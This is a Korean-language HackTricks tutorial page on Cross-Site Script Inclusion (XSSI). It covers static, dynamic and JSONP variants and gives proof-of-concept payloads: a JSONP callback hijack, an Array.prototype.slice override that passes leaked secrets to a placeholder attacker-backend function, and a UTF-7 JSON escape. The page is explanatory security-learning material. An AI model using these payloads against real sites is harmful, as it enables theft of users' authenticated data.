XSSI (Cross-Site Script Inclusion)

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

기본 정보

**크로스 사이트 스크립트 포함 (XSSI)**는 HTML의 script 태그의 특성에서 발생하는 취약점입니다. 대부분의 리소스는 **동일 출처 정책 (SOP)**의 영향을 받지만, 스크립트는 다른 도메인에서 포함될 수 있습니다. 이 동작은 다른 서버에 호스팅된 라이브러리 및 기타 리소스의 사용을 용이하게 하기 위한 것이지만, 잠재적인 보안 위험을 도입합니다.

XSSI의 주요 특징:

  • SOP 우회: 스크립트는 동일 출처 정책의 영향을 받지 않으므로 도메인 간에 포함될 수 있습니다.

  • 데이터 노출: 공격자는 script 태그를 통해 로드된 데이터를 읽을 수 있도록 이 동작을 악용할 수 있습니다.

  • 동적 JavaScript/JSONP에 미치는 영향: XSSI는 동적 JavaScript 또는 **JSON with Padding (JSONP)**에 특히 관련이 있습니다. 이러한 기술은 종종 인증을 위해 "주변 권한" 정보 (예: 쿠키)를 사용합니다. 다른 호스트로 스크립트 요청이 이루어지면 이러한 자격 증명 (예: 쿠키)이 자동으로 요청에 포함됩니다.

  • 인증 토큰 누출: 공격자가 사용자의 브라우저를 속여 자신이 제어하는 서버에서 스크립트를 요청하도록 할 수 있다면, 이러한 요청에 포함된 민감한 정보에 접근할 수 있을 수 있습니다.

유형

  1. 정적 JavaScript - 이것은 전통적인 XSSI를 나타냅니다.

  2. 인증이 필요한 정적 JavaScript - 이 유형은 액세스하기 위해 인증이 필요합니다.

  3. 동적 JavaScript - 동적으로 콘텐츠를 생성하는 JavaScript를 포함합니다.

  4. 비-JavaScript - 직접적으로 JavaScript와 관련되지 않은 취약점을 나타냅니다.

**다음 정보는 https://www.scip.ch/en/?labs.20160414의 요약입니다. 자세한 내용은 해당 링크를 확인하세요.

일반적인 XSSI

이 접근 방식에서는 개인 정보가 전역적으로 액세스 가능한 JavaScript 파일에 포함됩니다. 공격자는 파일 읽기, 키워드 검색 또는 정규 표현식과 같은 방법을 사용하여 이러한 파일을 식별할 수 있습니다. 한 번 찾으면, 개인 정보를 포함한 스크립트를 악성 콘텐츠에 포함시켜 민감한 데이터에 무단 액세스할 수 있습니다. 아래는 예시로서 악용 기술이 표시됩니다:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

동적 자바스크립트 기반 XSSI와 인증된 자바스크립트 XSSI

이러한 유형의 XSSI 공격은 사용자의 요청에 대한 응답으로 스크립트에 동적으로 기밀 정보가 추가되는 경우에 발생합니다. 감지는 쿠키를 사용하거나 사용하지 않는 요청을 보내고 응답을 비교하여 수행할 수 있습니다. 정보가 다른 경우, 기밀 정보의 존재를 나타낼 수 있습니다. 이 프로세스는 DetectDynamicJS Burp 확장 프로그램과 같은 도구를 사용하여 자동화할 수 있습니다.

기밀 데이터가 전역 변수에 저장되어 있는 경우, 정규 XSSI에서 사용되는 방법과 유사한 방법을 사용하여 악용할 수 있습니다. 그러나 기밀 데이터가 JSONP 응답에 포함된 경우, 공격자는 콜백 함수를 탈취하여 정보를 검색할 수 있습니다. 이는 전역 객체를 조작하거나 JSONP 응답에 의해 실행되도록 함수를 설정함으로써 수행할 수 있습니다. 아래에 예시가 나와 있습니다:

<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

전역 네임스페이스에 존재하지 않는 변수의 경우, 프로토타입 조작 기법을 이용하여 때때로 악용할 수 있습니다. 이 기법은 JavaScript의 설계를 활용하는데, 코드 해석은 호출된 속성을 찾기 위해 프로토타입 체인을 탐색하는 것을 포함합니다. Arrayslice와 같은 특정 함수를 무효화함으로써 공격자는 비전역 변수에 접근하고 노출시킬 수 있습니다:

Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};

추가적인 공격 벡터에 대한 자세한 내용은 보안 연구원 Sebastian Lekies의 작업에서 찾을 수 있으며, 그는 벡터의 목록을 유지하고 있습니다.

Non-Script-XSSI

Takeshi Terada의 연구는 Non-Script 파일(예: CSV)이 script 태그의 소스로 포함되어 크로스 오리진으로 유출되는 다른 형태의 XSSI를 소개합니다. Google 주소록을 완전히 읽는 Jeremiah Grossman의 2006년 공격과 Joe Walker의 2007년 JSON 데이터 유출과 같은 XSSI의 역사적인 사례는 이러한 위협의 심각성을 강조합니다. 또한, Gareth Heyes는 특정 브라우저에서 유효한 UTF-7 인코딩된 JSON을 사용하여 JSON 형식을 탈출하고 스크립트를 실행하는 공격 변형에 대해 설명합니다:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
htARTE (HackTricks AWS Red Team Expert)을 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Last updated